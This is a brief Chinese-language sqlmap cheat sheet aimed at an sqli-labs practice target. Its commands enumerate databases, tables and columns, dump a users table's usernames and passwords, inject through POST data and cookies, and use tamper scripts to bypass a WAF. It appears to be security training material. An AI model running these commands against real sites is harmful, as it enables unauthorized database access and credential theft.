sqlmap是全面的注入工具
最简单形式
#Get
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" --batch
#爆数据库
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" --dbs
#爆表名
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" -D security --tables
#爆列名
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" -D security -T users --columns
#dump数据
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" -D security -T users -C id,username,password --dump
post，cookies
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-11/" --data="uname=admin&passwd=admin&submit=Submit" --cookie="XIc6_2132_saltkey=g5N5rRBz; SESS2a7db910cd5249ca3016afc519d2d9bf=OFwfZCCwgO8XF5bYygJsUNy__-kwXuDVk2birG42BVA" --batch
从文件中读取
最好用，(可以burpsuite抓包，保存到文件中如:in.txt)
python27 sqlmap.py -r in.txt --batch
指定参数
指定存在漏洞的参数，适合猜测或者手动分析过
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-11/" --data="uname=admin&passwd=admin&submit=Submit" -p passwd --batch
指定注入的方式
适合手动测试过，特别是sqlmap会优先用time-based而不是union select
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" --technique U --batch --dbs
#B, E, Q, S, T, U
指定注入位置
“ * “号指定注入的指定位置
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1*+--+" --batch
tamper绕过waf
tamper绕过waf，可以尝试使用不同的tamper来绕过waf，保存在tamper目录下
python27 sqlmap.py -u "http://hack.com/sqli-labs/Less-1/?id=1" --tamper=space2comment --batch
其他参数
可以直接sqlmap -h 或者 sqlmap -hh查看下，有需要可以尝试下
